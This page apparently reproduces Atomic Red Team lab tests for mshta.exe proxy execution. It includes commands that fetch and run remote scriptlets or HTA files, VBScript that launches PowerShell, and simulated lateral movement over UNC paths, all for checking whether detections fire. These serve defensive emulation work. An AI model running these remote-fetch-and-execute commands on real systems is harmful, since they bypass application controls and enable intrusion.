Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsMshta executes JavaScript Scheme Fetch Remote Payload With GetObject
Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
command_promptwindowsMshta executes VBScript to execute malicious command
Run a local VB script to run local user enumeration powershell command.
This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
Upon execution, a new PowerShell windows will be opened that displays user information.
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")
powershellwindowsMshta Executes Remote HTML Application (HTA)
Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
start-sleep -s 15
stop-process -name "calculator" -Force -ErrorAction Ignore
stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
powershellwindowsInvoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement
Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}
powershellwindowsInvoke HTML Application - Jscript Engine Simulating Double Click
Executes an HTA Application using JScript script engine simulating double click.
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick
powershellwindowsInvoke HTML Application - Direct download from URI
Executes an HTA Application by directly downloading from remote URI.
Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}
powershellwindowsInvoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler
Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}
powershellwindowsInvoke HTML Application - JScript Engine with Inline Protocol Handler
Executes an HTA Application with JScript Engine and Inline Protocol Handler.
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}
powershellwindowsInvoke HTML Application - Simulate Lateral Movement over UNC Path
Executes an HTA Application with Simulate lateral movement over UNC Path.
Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}
command_promptwindowsMshta used to Execute PowerShell
Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.
mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>'"